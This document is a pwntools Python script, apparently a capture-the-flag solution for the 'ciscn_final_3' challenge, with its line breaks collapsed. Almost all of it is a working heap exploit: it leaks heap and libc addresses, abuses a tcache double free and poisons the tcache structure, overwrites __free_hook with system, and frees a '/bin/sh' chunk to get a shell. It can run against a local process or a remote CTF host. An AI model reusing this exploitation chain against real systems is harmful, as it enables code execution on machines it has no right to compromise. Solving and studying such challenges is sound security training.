1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| from pwn import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./ciscn_final_3" libc_file= "./libc.so.6"
''' obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 1 if local: p = process(binary, env={"LD_PRELOAD":"./libc.so.6"}) libc = ELF(libc_file) else: p = remote("node3.buuoj.cn","25451") elf = ELF(binary) libc = ELF(libc_file)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
menu = "choice > "
def add(idx, size, context): sla(menu, "1") sla("input the index\n", str(idx)) sla("input the size\n", str(size)) sa("now you can write something\n", context)
def delete(idx): sla(menu, "2") sla("input the index\n", str(idx))
barray = 0x11c10
add(0,0x18,"A"*0x18)
ru("gift :") chunk0_addr = int(rc(14)[2:14],16)-0x10 heap_base = chunk0_addr - 0x11e60 barry_addr = heap_base+0x2d0 log.info("heap_base:0x%x"%heap_base) delete(0)
add(1,0x28,"A"*0x8) delete(1) delete(1)
add(2,0x28,p64(chunk0_addr-0x11c10+0x10)) add(3,0x28,"A") add(4,0x28,"barry") delete(4)
add(5,0x78,"B"*0x8) delete(5) delete(5) add(6,0x78,p64(heap_base+0x10)) add(7,0x78,"B"*0x8)
add(8,0x78,"\x07"+"\x00"+"\x02"+"\x00"+"\x00"+"\x00"+"\x03"+ "\x00"*0x39+ p64(0x0)+ p64(0x0)+ p64(barry_addr+0x10)+ p64(0x0)+ p64(0x0)+ p64(0x0)+ p64(heap_base+0x10)) add(9,0x38,"\x78") pause() add(10,0x38,"\xb0") ru("gift :") libc_base = int(rc(14)[2:14],16) - 0x3ebc40 - 88 -8 free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] log.info("libc_base:0x%x"%libc_base) log.info("free_hook:0x%x"%free_hook)
add(11,0x78,"\x01"+"\x00"+"\x02"+"\x00"+"\x00"+"\x00"+"\x03"+ "\x00"*0x39+ p64(free_hook)+ p64(0x0)+ p64(barry_addr+0x10)+ p64(0x0)+ p64(0x0)+ p64(0x0)+ p64(heap_base+0x10)) pause() add(12,0x18,p64(system_addr)) add(13,0x58,"/bin/sh\x00") pause() delete(13) pause() p.interactive()
|